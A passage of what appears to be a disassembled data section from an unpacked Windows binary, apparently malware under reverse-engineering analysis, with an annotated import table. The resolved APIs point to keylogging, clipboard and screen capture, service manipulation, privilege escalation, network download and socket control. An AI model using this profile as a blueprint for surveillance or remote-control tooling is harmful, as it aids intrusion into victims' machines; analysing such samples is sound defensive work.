0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_4389A0 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_41F71C+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh, 0 off_438B00 dd offset off_421CB4 ; DATA XREF: .nsp0:off_421CD8o ; .nsp0:00421E04o ... align 8 a_?avexception@ db '.?AVexception@@',0 off_438B18 dd offset off_421CB4 ; DATA XREF: .nsp0:off_421CF0o ; .nsp0:00421D84o ... align 10h a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_438B38 dd offset off_421CB4 ; DATA XREF: .nsp0:off_421D08o ; .nsp0:00421D4Co ... align 10h a_?avlength_err db '.?AVlength_error@std@@',0 align 4 off_438B58 dd offset off_421CB4 ; DATA XREF: .nsp0:off_421D90o ; .nsp0:00421DD4o ... align 10h a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_438B78 dd offset off_421CB4 ; DATA XREF: .nsp0:off_421E10o ; .nsp0:00421E4Co align 10h a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_41DF02 align 8 byte_438B98 db 0 ; DATA XREF: sub_401447+1D3w ; sub_401447+2D2o align 2 word_438B9A dw 0 ; DATA XREF: sub_401447+1E3w word_438B9C dw 0 ; DATA XREF: sub_401447+1E9w word_438B9E dw 0 ; DATA XREF: sub_401447+1F0w byte_438BA0 db 0 ; DATA XREF: sub_401447+1F7w byte_438BA1 db 0 ; DATA XREF: sub_401447+1FEw word_438BA2 dw 0 ; DATA XREF: sub_401447+204w dword_438BA4 dd 0 ; sub_401447+250w dword_438BA8 dd 0 byte_438BAC db 0 ; DATA XREF: sub_401447+26Aw byte_438BAD db 0 ; DATA XREF: sub_401447+27Dw word_438BAE dw 0 ; DATA XREF: sub_401447+295w word_438BB0 dw 0 ; DATA XREF: sub_401447+2A4w word_438BB2 dw 0 ; DATA XREF: sub_401447+29Cw dword_438BB4 dd 101h dup(0) dword_438FB8 dd 0 byte_438FBC db 0 ; DATA XREF: sub_402FDD+36r ; sub_4030C0+37r ... align 10h dword_438FC0 dd 7A5h ; sub_4036EB+30r ... dd 2 dup(0) dword_438FCC dd 2 dup(0) dword_438FD4 dd 0 ; sub_40CE55+5B71o ... dword_438FD8 dd 0 ; sub_405A0C+51r ... dword_438FDC dd 0 ; .nsp0:0040494Cr ... dd 2 dup(0) dword_438FE8 dd 0 ; sub_407652+92w ... dword_438FEC dd 0 ; sub_40799F+D9w ... dd 256h dup(0) dword_439948 dd 6 dup(0) ; sub_40778B+138o ... dword_439960 dd 0 ; sub_407276+102o dword_439964 dd 41h dup(0) dword_439A68 dd 41h dup(0) dword_439B6C dd 0 ; sub_407276+114r dword_439B70 dd 0 dword_439B74 dd 0 ; sub_407276+CFr dword_439B78 dd 20h dup(0) ; sub_407276+BAo dword_439BF8 dd 0 dword_439BFC dd 0 ; sub_407276+C7w dword_439C00 dd 0 align 8 dword_439C08 dd 0 ; sub_407276+32Eo dword_439C0C dd 0A2h dup(0) dword_439E94 dd 41h dup(0) dword_439F98 dd 0 ; sub_407276+2E1r align 10h dword_439FA0 dd 0 ; sub_407276+340r dword_439FA4 dd 0 dword_439FA8 dd 0 dword_439FAC dd 0 dd 0 dword_439FB4 dd 0 dword_439FB8 dd 0 ; sub_407276+221o dword_439FBC dd 41h dup(0) dword_43A0C0 dd 41h dup(0) dword_43A1C4 dd 0 ; sub_407276+233r dword_43A1C8 dd 0 dword_43A1CC dd 0 dword_43A1D0 dd 20h dup(0) ; sub_407276+1D9o dword_43A250 dd 0 dword_43A254 dd 0 ; sub_407276+1E6w dword_43A258 dd 0 align 10h dword_43A260 dd 77F16E6Fh ; resolved to->GDI32.DeleteDC ; sub_4089F2+4CDr dword_43A264 dd 7C864230h ; resolved to->KERNEL32.Module32First ; sub_413DD2+F5r dword_43A268 dd 42C5AE03h ; resolved to->WININET.InternetGetConnectedStateExA ; sub_4089F2+862r ... dword_43A26C dd 5B894364h ; sub_4089F2+A18r ... dword_43A270 dd 5B86FEB8h ; sub_4089F2+9E8r ... dword_43A274 dd 77F15B80h ; resolved to->GDI32.SelectObject ; sub_4089F2+4BDr dword_43A278 dd 7E41C505h ; resolved to->USER32.GetKeyState ; sub_4021FB+109r ... dword_43A27C dd 5B894160h ; sub_4089F2+A10r ... dword_43A280 dd 77DEB88Ch ; resolved to->ADVAPI32.OpenServiceA ; sub_4089F2+3A9r ... dword_43A284 dd 77DFD4C9h ; resolved to->ADVAPI32.GetUserNameA ; sub_40AAD1+11Er dword_43A288 dd 77DF3238h ; resolved to->ADVAPI32.StartServiceA ; sub_4089F2+3B1r ... dword_43A28C dd 77DFCF32h ; resolved to->ADVAPI32.IsValidSecurityDescriptor ; sub_4133C0+ADr dword_43A290 dd 71AB4544h ; resolved to->WS2_32.__WSAFDIsSet ; sub_4084D3+7Dr ... dword_43A294 dd 7C83039Bh ; resolved to->KERNEL32.GetDiskFreeSpaceExA ; sub_4089F2+D2r ... dword_43A298 dd 5B86FDE8h ; sub_4089F2+9DBr ... dword_43A29C dd 77DE5E4Dh ; resolved to->ADVAPI32.CloseServiceHandle ; sub_4089F2+3C9r ... dword_43A2A0 dd 42C41384h ; resolved to->WININET.InternetCrackUrlA ; sub_4089F2+88Er ... dword_43A2A4 dd 77DD7883h ; resolved to->ADVAPI32.RegQueryValueExA ; sub_4089F2+2A5w ... dword_43A2A8 dd 42C30BFAh ; resolved to->WININET.InternetOpenUrlA ; sub_4089F2+886r ... dword_43A2AC dd 7C82FA46h ; resolved to->KERNEL32.QueryPerformanceFrequencydword_43A2B0 dd 42C2ABF4h ; resolved to->WININET.InternetReadFile ; sub_4089F2+896r ... dword_43A2B4 dd 71AC0979h ; resolved to->WS2_32.WSAAsyncSelect ; sub_4089F2+52Fw ... dword_43A2B8 dd 7C863F58h ; resolved to->KERNEL32.Process32Next ; sub_4089F2+CAr ... dword_43A2BC dd 76D64B79h ; resolved to->IPHLPAPI.IcmpSendEcho ; sub_40A217+11Ar dword_43A2C0 dd 76F3798Ah ; resolved to->DNSAPI.DnsFlushResolverCache ; sub_4089F2+A6Dr ... dword_43A2C4 dd 7C80A427h ; resolved to->KERNEL32.QueryPerformanceCounter ; sub_4089F2+F2r dword_43A2C8 dd 77F1AC3Dh ; resolved to->GDI32.GetDIBColorTable ; sub_4089F2+4B5r dword_43A2CC dd 71AB2BC0h ; resolved to->WS2_32.ntohl ; sub_4089F2+5D8w ... dword_43A2D0 dd 5B8A3009h ; sub_4089F2+A08r dword_43A2D4 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_4089F2+5CBw ... dword_43A2D8 dd 71B25099h ; sub_4089F2+B21w dword_43A2DC dd 42C367F6h ; resolved to->WININET.InternetGetConnectedState ; sub_4089F2+84Fr ... dword_43A2E0 dd 7E45A045h ; resolved to->USER32.ExitWindowsEx ; sub_409DF3+15r dword_43A2E4 dd 5B868E65h ; sub_4089F2+9F0r ... dword_43A2E8 dd 77DEB635h ; resolved to->ADVAPI32.ControlService ; sub_4089F2+3B9r ... dword_43A2EC dd 77E37311h ; resolved to->ADVAPI32.DeleteService ; sub_4089F2+3C1r ... dword_43A2F0 dd 73B81E3Bh ; sub_4089F2+C5Dr dword_43A2F4 dd 71AC0B50h ; resolved to->WS2_32.getpeernamedword_43A2F8 dd 71AB4428h ; resolved to->WS2_32.WSACleanup ; sub_4018CA:loc_401B70r ... dword_43A2FC dd 77F16C0Ah ; resolved to->GDI32.DeleteObjectdword_43A300 dd 5B894541h ; sub_4089F2+A20r ... dword_43A304 dd 77DDEDE5h ; resolved to->ADVAPI32.RegDeleteValueA ; sub_4089F2+2DEr ... dword_43A308 dd 7C82C2D3h ; resolved to->KERNEL32.GetLogicalDriveStringsA ; sub_4089F2+DAr ... dword_43A30C dd 7CA41110h ; resolved to->SHELL32.ShellExecuteA ; sub_4089F2+B75r ... dword_43A310 dd 71AB664Dh ; resolved to->WS2_32.WSAStartup ; sub_4018CA+2Fr ... dword_43A314 dd 42C2CD78h ; resolved to->WININET.HttpSendRequestA ; sub_4089F2+872r ... dword_43A318 dd 5B897BE9h ; sub_4089F2+9F8r dword_43A31C dd 74344AE7h ; sub_404F08+8Cr ... dword_43A320 dd 7E41BE4Bh ; resolved to->USER32.GetForegroundWindow ; sub_4021FB+63r ... dword_43A324 dd 76D64D5Eh ; resolved to->IPHLPAPI.IcmpCreateFile ; sub_4089F2+910r ... dword_43A328 dd 74327E4Dh dword_43A32C dd 71AB94DCh ; resolved to->WS2_32.WSAGetLastError ; sub_401447+3Cr ... dword_43A330 dd 42C2C8A1h ; resolved to->WININET.InternetOpenA ; sub_4089F2+855r dword_43A334 dd 7E43212Bh ; resolved to->USER32.GetWindowTextA ; sub_4021FB+78r ... dword_43A338 dd 7E41B933h ; resolved to->USER32.IsWindow ; sub_4089F2+1C2r dword_43A33C dd 71AB951Eh ; resolved to->WS2_32.getsockname ; sub_4089F2+786r ... dword_43A340 dd 71AB406Ah ; resolved to->WS2_32.connect ; sub_4036EB+5Er ... dword_43A344 dd 71AB4489h ; resolved to->WS2_32.WSAIoctl ; sub_4089F2+549w ... dword_43A348 dd 0CC0004h ; sub_4089F2:loc_4092CDw ... dword_43A34C dd 77DDEAF4h ; resolved to->ADVAPI32.RegCreateKeyExA ; sub_4089F2+2C6r ... dword_43A350 dd 71ABE479h ; resolved to->WS2_32.gethostbyaddr ; sub_4089F2+681w ... dword_43A354 dd 77DFD11Bh ; resolved to->ADVAPI32.LookupPrivilegeValueA ; sub_4089F2+323r ... dword_43A358 dd 77DEAF3Fh ; resolved to->ADVAPI32.EnumServicesStatusA ; sub_4089F2+3D1r ... dword_43A35C dd 743452A3h ; sub_404F08+1C6r ... dword_43A360 dd 42C24399h ; resolved to->WININET.HttpOpenRequestA ; sub_4089F2+86Ar ... dword_43A364 dd 7E41F3B3h ; resolved to->USER32.GetAsyncKeyState ; sub_4089F2+206w ... dword_43A368 dd 7E430237h ; resolved to->USER32.OpenClipboard ; sub_4089F2+1D2r ... dword_43A36C dd 42C249F2h ; resolved to->WININET.InternetConnectA ; sub_4089F2+87Ar ... dword_43A370 dd 71AB2D0Fh ; resolved to->WS2_32.recvfrom ; sub_4089F2+606w ... dword_43A374 dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKey ; sub_4089F2+2BFw ... dword_43A378 dd 71AB3EA1h ; resolved to->WS2_32.setsockopt ; sub_401447+AAr ... dword_43A37C dd 77DD7753h ; resolved to->ADVAPI32.OpenProcessToken ; sub_4089F2+316r ... dword_43A380 dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_406C3E+1FCr ... dword_43A384 dd 77F1B221h ; resolved to->GDI32.CreateDCA ; sub_4089F2+490r dword_43A388 dd 7E430D7Ah ; resolved to->USER32.GetClipboardData ; sub_4089F2+1DAr ... dword_43A38C dd 77DEADA7h ; resolved to->ADVAPI32.OpenSCManagerA ; sub_4089F2+39Cr ... dword_43A390 dd 76F37ABDh ; resolved to->DNSAPI.DnsFlushResolverCacheEntry_Adword_43A394 dd 71AB2BC0h ; resolved to->WS2_32.ntohl ; sub_4010B2+1F9r ... dword_43A398 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_4010B2+9Dr ... dword_43A39C dd 7C863DE5h ; resolved to->KERNEL32.Process32First ; sub_4089F2+C2r ... dword_43A3A0 dd 77F15A7Ah ; resolved to->GDI32.GetDeviceCaps ; sub_4089F2+4ADr dword_43A3A4 dd 7E42DE87h ; resolved to->USER32.FindWindowA ; sub_4089F2+1BAr ... dword_43A3A8 dd 5B8A5199h ; sub_413CA9+72r dword_43A3AC dd 71AB50C8h ; resolved to->WS2_32.gethostname ; sub_4089F2+78Er dword_43A3B0 dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_4033CB+23Br ... dword_43A3B4 dd 74343318h ; sub_404F08+245r ... dword_43A3B8 dd 7C864B0Fh ; resolved to->KERNEL32.CreateToolhelp32Snapshot ; sub_4089F2+BAr ... dword_43A3BC dd 77DDEBE7h ; resolved to->ADVAPI32.RegSetValueExA ; sub_4089F2+2CEr ... dword_43A3C0 dd 71AB88D3h ; resolved to->WS2_32.listen ; sub_407BFE+9Cr ... dword_43A3C4 dd 71AB3E00h ; resolved to->WS2_32.bind ; sub_405B23+89r ... dword_43A3C8 dd 73B81B0Fh dword_43A3CC dd 42C1DAC1h ; resolved to->WININET.InternetCloseHandle ; sub_40AE4B+205r ... dword_43A3D0 dd 0 dword_43A3D4 dd 743527D4h ; sub_4089F2+BB8w ... dword_43A3D8 dd 71AB2BF4h ; resolved to->WS2_32.inet_addr ; sub_401447+1A0r ... dword_43A3DC dd 77F19219h ; resolved to->GDI32.CreateDIBSection ; sub_4089F2+49Dr dword_43A3E0 dd 77F16F89h ; resolved to->GDI32.BitBlt ; sub_4089F2+4C5r dword_43A3E4 dd 77F15FF0h ; resolved to->GDI32.CreateCompatibleDC ; sub_4089F2+4A5r dword_43A3E8 dd 71AB428Ah ; resolved to->WS2_32.send ; sub_4033CB+249r ... dword_43A3EC dd 7E430225h ; resolved to->USER32.CloseClipboard ; sub_4089F2+1E2r ... dword_43A3F0 dd 5B86AA41h ; sub_4089F2+A28r ... dword_43A3F4 dd 7E42F383h ; resolved to->USER32.SendMessageA ; sub_4089F2+1ADr ... dword_43A3F8 dd 7C8214E3h ; resolved to->KERNEL32.GetDriveTypeA ; sub_4089F2+E2r ... dword_43A3FC dd 71AB2C69h ; resolved to->WS2_32.sendto ; sub_401447+2DAr ... dword_43A400 dd 71B2547Ah ; sub_4089F2+B30r dword_43A404 dd 77DFC534h ; resolved to->ADVAPI32.AdjustTokenPrivileges ; sub_413D67+55r dword_43A408 dd 77DD761Bh ; resolved to->ADVAPI32.RegOpenKeyExA ; sub_4089F2+27Ew ... dword_43A40C dd 7CA235CBh ; resolved to->SHELL32.SHChangeNotifydword_43A410 dd 76D6A195h ; resolved to->IPHLPAPI.DeleteIpNetEntry ; sub_40A093+CEr dword_43A414 dd 76D69962h ; resolved to->IPHLPAPI.GetIpNetTable ; sub_4089F2+AB7r ... dword_43A418 dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_401BD6+55r ... dword_43A41C dd 71AB4FD4h ; resolved to->WS2_32.gethostbyname ; sub_4089F2+674w ... dword_43A420 dd 7432FF6Bh ; sub_4089F2+BC5w ... dword_43A424 dd 71AB3F41h ; resolved to->WS2_32.inet_ntoa ; sub_406C3E+250r ... dword_43A428 dd 5B867750h ; sub_4089F2+A00r ... dword_43A42C dd 71AC1028h ; resolved to->WS2_32.accept ; sub_407BFE+B3r ... dword_43A430 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_401447+2F0r ... dword_43A434 dd 71AB4519h ; resolved to->WS2_32.ioctlsocket ; sub_405B23+39Fr ... dword_43A438 dd 71B2578Ch ; sub_402FDD+C8r ... dword_43A43C dd 71AB8769h ; resolved to->WS2_32.WSASocketA ; sub_4018CA+4Fr ... dword_43A440 dd 71B2517Fh ; sub_4089F2+B1Br dword_43A444 dd 7C80AC0Fh ; resolved to->KERNEL32.SetErrorMode ; sub_4089F2+ADr ... dword_43A448 dd 7E41DAEAh ; resolved to->USER32.DestroyWindow ; sub_4089F2+1CAr align 10h dword_43A450 dd 76D64D33h ; resolved to->IPHLPAPI.IcmpCloseHandle ; sub_4089F2+91Dr ... dword_43A454 dd 7C8217EAh ; resolved to->KERNEL32.SearchPathA ; sub_4089F2+EAr ... dword_43A458 dd 0 ; sub_4089F2+12Bw ... dword_43A45C dd 0 ; sub_40967F+1Cr dword_43A460 dd 0 ; sub_4089F2:loc_408C47w ... dword_43A464 dd 0 ; sub_40967F+50r dword_43A468 dd 0 ; sub_4089F2:loc_408D21w ... dword_43A46C dd 0 ; sub_40967F+84r dword_43A470 dd 0 ; sub_40967F:loc_40972Fr dword_43A474 dd 0 ; sub_40967F+B8r dword_43A478 dd 0 ; sub_40967F:loc_409763r dword_43A47C dd 0 ; sub_40967F+ECr dword_43A480 dd 0 ; sub_4089F2+8D1w ... dword_43A484 dd 0 ; sub_40967F+120r dword_43A488 dd 0 ; sub_40967F:loc_4097CBr ... dword_43A48C dd 0 ; sub_40967F+154r dword_43A490 dd 0 ; sub_40967F:loc_4097FFr ... dword_43A494 dd 0 ; sub_40967F+188r dword_43A498 dd 0 ; sub_40967F:loc_409833r dword_43A49C dd 0 ; sub_40967F+1BCr dword_43A4A0 dd 0 ; sub_40967F:loc_409867r dword_43A4A4 dd 0 ; sub_40967F+1F0r dword_43A4A8 dd 0 ; sub_40967F:loc_40989Br dword_43A4AC dd 0 ; sub_40967F+224r dword_43A4B0 dd 0 ; sub_40967F:loc_4098CFr dword_43A4B4 dd 0 ; sub_40967F+258r dword_43A4B8 dd 0 ; sub_40967F:loc_409903r dword_43A4BC dd 0 ; sub_40967F+28Cr dword_43A4C0 dd 0 ; sub_40967F:loc_409937r dword_43A4C4 dd 0 ; sub_40967F+2C0r dword_43A4C8 dd 81h dup(0) dword_43A6CC dd 5 dup(0) dword_43A6E0 dd 0 ; sub_40A6A8+54r ... dword_43A6E4 dd 0 ; sub_40A6A8+37r ... dword_43A6E8 dd 0 ; sub_40A7FD+83o dword_43A6EC dd 0 ; sub_40A7FD+11Bw dword_43A6F0 dd 0Dh dup(0) ; sub_40A7FD:loc_40A93Ao dword_43A724 dd 0 ; sub_40A6A8+ECr ... dd 0 dword_43A72C dd 0Eh dup(0) dword_43A764 dd 1000h dup(0) ; sub_40B20Do ... dword_43E764 dd 0 ; sub_40B20D+Eo ... dword_43E768 dd 0Eh dup(0) dword_43E7A0 dd 2 dup(0) dword_43E7A8 dd 0 ; sub_40B075+44r ... dd 5 dup(0) dword_43E7C0 dd 0 ; sub_40CE55+BC8r dd 2D9h dup(0) dword_43F328 dd 0 ; sub_40B075+2Do ... dd 7Fh dup(0) dword_43F528 dd 0 ; sub_4150CE+40w ... dword_43F52C dd 0 ; sub_40778B:loc_4077D2r ... dword_43F530 dd 0 ; sub_414F93+52w ... dword_43F534 dd 0 ; sub_405B23+7Ew ... dword_43F538 dd 0 ; sub_407F6D+53r ... dword_43F53C dd 0 ; sub_407276+122w ... byte_43F540 db 0 ; DATA XREF: sub_40CB75+91o ; sub_40CE55+322Br ... align 4 dd 1883h dup(0) dword_445750 dd 3A2Ch dup(0) dword_454000 dd 5206h dup(0) dword_468818 dd 2FE1h ; sub_40C682+47w ... align 10h dword_468820 dd 0 dword_468824 dd 20h dup(0) ; sub_40C682+456o ... dword_4688A4 dd 10h dup(0) ; sub_40CE55+91Do dword_4688E4 dd 24h dup(0) dword_468974 dd 0 ; sub_40C682+46Dw ... dword_468978 dd 0 dd 3 dup(0) dword_468988 dd 0 dword_46898C dd 0 ; sub_40CE55+276r byte_468990 db 0 ; DATA XREF: sub_40CCDD+28r ; sub_40CCDD+30o align 4 dword_468994 dd 0 dword_468998 dd 0 ; sub_40C682+421r ... dword_46899C dd 0 ; sub_40CE55+8C1r dword_4689A0 dd 17h dup(0) ; sub_412F10+131o ... dword_4689FC dd 7 dup(0) ; sub_413CA9+A5o dword_468A18 dd 0 ; sub_4151FA+19o dword_468A1C dd 78h dup(0) dword_468BFC dd 0 ; sub_41328A+4Dr ... dword_468C00 dd 17h dup(0) ; sub_413B75+12Do dword_468C5C dd 80h dup(0) ; sub_4131CB+7Do ... byte_468E5C db 0 ; DATA XREF: sub_41328A+29r ; sub_41328A+34w align 10h dword_468E60 dd 80h dup(0) ; sub_4134E1+88o ... dword_469060 dd 81h dup(0) ; sub_412DE7+50o ... dword_469264 dd 81h dup(0) byte_469468 db 0 ; DATA XREF: sub_414E8C+6Ar ; sub_414E8C+98w align 4 dd 2 dup(0) dword_469474 dd 0 dword_469478 dd 0 ; sub_416AD4+A4w align 10h word_469480 dw 0 ; DATA XREF: sub_416AD4+55r ; sub_416AD4+9Ao word_469482 dw 0 ; DATA XREF: sub_416AD4+48r db 2 dup(0) word_469486 dw 0 ; DATA XREF: sub_416AD4+3Br word_469488 dw 0 ; DATA XREF: sub_416AD4+2Er word_46948A dw 0 ; DATA XREF: sub_416AD4+21r align 10h dword_469490 dd 0 ; sub_416C98+91w dword_469494 dd 0 ; sub_416E3E:loc_416EBAw ... dword_469498 dd 0 ; sub_4185CB:loc_418665w ... dword_46949C dd 0 dword_4694A0 dd 0A28h dword_4694A4 dd 501h dword_4694A8 dd 5 dword_4694AC dd 1 dword_4694B0 dd 1 ; sub_41C8D3+91w dword_4694B4 dd 490ED0h ; sub_40C682+316r ... dd 0 dword_4694BC dd 490D70h ; sub_41F409+9r ... dword_4694C0 dd 0 dword_4694C4 dd 0 ; sub_41F7D7+4r ... dd 0 off_4694CC dd offset aCM_unpackerPac ; DATA XREF: sub_41C8D3+2Ew ; "C:\\m_unpacker\\packed.exe" dd 0 byte_4694D4 db 0 ; DATA XREF: sub_417849+2Dw ; sub_41D17B+5r align 4 dword_4694D8 dd 0 dword_4694DC dd 0 ; sub_417849+8Bw dword_4694E0 dd 0 ; sub_41C81A:loc_41C82Cr ... align 8 dword_4694E8 dd 0 dword_4694EC dd 0 dd 0 dword_4694F4 dd 0 ; sub_4174DF:loc_4175DBr ... dword_4694F8 dd 0 dword_4694FC dd 0 ; sub_41A11A+1Ar ... byte_469500 db 0 ; DATA XREF: sub_41A016+3r ; sub_41A016+98r ... align 4 dword_469504 dd 0 ; sub_41A1F8+21w ... byte_469508 db 0 ; DATA XREF: sub_41A1F8+51w align 4 dword_46950C dd 0 ; sub_41A7C9+3Ar ... dword_469510 dd 0 ; sub_41A7C9+43r ... dword_469514 dd 0 ; sub_41A595+5r dword_469518 dd 0 dword_46951C dd 1 ; sub_41BD71+4Cw ... dd 2 dup(0) dword_469528 dd 0 ; sub_417193+9Dr ... dd 3 dup(0) dword_469538 dd 0 ; sub_4179F9+BFr ... align 10h dword_469540 dd 1 ; sub_41C159+4w ... dword_469544 dd 0 ; sub_41C63E+46w ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_41C8D3:loc_41C8EAo ; .nsp0:off_4694CCo align 4 dd 3Ah dup(0) dword_46964C dd 1 ; sub_41CB20+23w ... dword_469650 dd 0 dword_469654 dd 0 ; sub_418880+154w ... dword_469658 dd 1 ; sub_41D1F7:loc_41D261w dword_46965C dd 0 word_469660 dw 0 ; DATA XREF: sub_41DDDF+1Ao ; sub_41DDDF+46r byte_469662 db 0 ; DATA XREF: sub_41DDDF+39r align 4 dword_469664 dd 7 dup(0) dword_469680 dd 0 ; sub_41DDDF+5Co dword_469684 dd 0 dword_469688 dd 0 dword_46968C dd 0 dword_469690 dd 77C2807Ch ; sub_41DF02+38r ... align 8 dword_469698 dd 0 ; sub_41E162+63w ... align 10h dword_4696A0 dd 0 ; sub_41E162+46r dword_4696A4 dd 10h dup(0) word_4696E4 dw 0 ; DATA XREF: sub_41E3C0+A8r word_4696E6 dw 0 ; DATA XREF: sub_41E162+54r ; sub_41E3C0+DBr ... word_4696E8 dw 0 ; DATA XREF: sub_41E3C0+CAr word_4696EA dw 0 ; DATA XREF: sub_41E3C0+D3r ; sub_41E3C0:loc_41E4B2r word_4696EC dw 0 ; DATA XREF: sub_41E3C0+C0r word_4696EE dw 0 ; DATA XREF: sub_41E3C0+B8r word_4696F0 dw 0 ; DATA XREF: sub_41E3C0+B0r word_4696F2 dw 0 ; DATA XREF: sub_41E3C0+9Er dword_4696F4 dd 0 dword_4696F8 dd 10h dup(0) word_469738 dw 0 ; DATA XREF: sub_41E3C0+46r word_46973A dw 0 ; DATA XREF: sub_41E162:loc_41E1D9r ; sub_41E3C0+78r ... word_46973C dw 0 ; DATA XREF: sub_41E3C0+67r word_46973E dw 0 ; DATA XREF: sub_41E3C0+70r ; sub_41E3C0:loc_41E444r word_469740 dw 0 ; DATA XREF: sub_41E3C0+5Dr word_469742 dw 0 ; DATA XREF: sub_41E3C0+55r word_469744 dw 0 ; DATA XREF: sub_41E3C0+4Dr word_469746 dw 0 ; DATA XREF: sub_41E3C0+3Er dword_469748 dd 0 dword_46974C dd 0 ; sub_41E162:loc_41E2AEr ... dword_469750 dd 0 dword_469754 dd 0 ; resolved to->USER32.MessageBoxA ; sub_41E6EE+2Ew ... dword_469758 dd 0 ; resolved to->USER32.GetActiveWindow ; sub_41E6EE:loc_41E73Dr dword_46975C dd 0 ; resolved to->USER32.GetLastActivePopup ; sub_41E6EE+60r dword_469760 dd 0 dword_469764 dd 0 ; sub_41F297+6Do dword_469768 dd 0 ; sub_41F297+44o dword_46976C dd 0 ; sub_41F297+37o dword_469770 dd 0 ; sub_41F297+51o align 8 dword_469778 dd 0 ; sub_41F845+48w ... byte_46977C db 1 ; DATA XREF: sub_404EE6r sub_404EE6+9w ... align 10h dword_469780 dd 344968h ; sub_4189F0+14r ... dd 7 dup(0) dword_4697A0 dd 400h dup(0) ; .nsp0:00438470o dword_46A7A0 dd 200h ; sub_418749+56r ... dd 7 dup(0) dword_46A7C0 dd 490EF0h ; sub_41B8B0+75r ... dword_46A7C4 dd 3Fh dup(0) dword_46A8C0 dd 20h ; sub_41B989+Cr ... dword_46A8C4 dd 4E4h ; sub_41BFC0+65w ... align 10h dword_46A8D0 dd 3 dup(0) ; sub_41BFC0+171o ... dword_46A8DC dd 0 ; sub_41BFC0+15Dw ... byte_46A8E0 db 0 ; DATA XREF: sub_41C1FF:loc_41C30Bw ; sub_41C1FF:loc_41C328w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_46A9E0 db 0 ; DATA XREF: sub_41BFC0+5Co ; sub_41BFC0+AFo ... byte_46A9E1 db 0 ; DATA XREF: sub_417348+5Dr ; sub_41BFC0+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_46AAE4 dd 0 ; sub_41BFC0+12Bw ... dword_46AAE8 dd 10h ; sub_41915C+5r ... dword_46AAEC dd 0 ; sub_418B28+259r ... dword_46AAF0 dd 340650h ; sub_418B28+310w ... 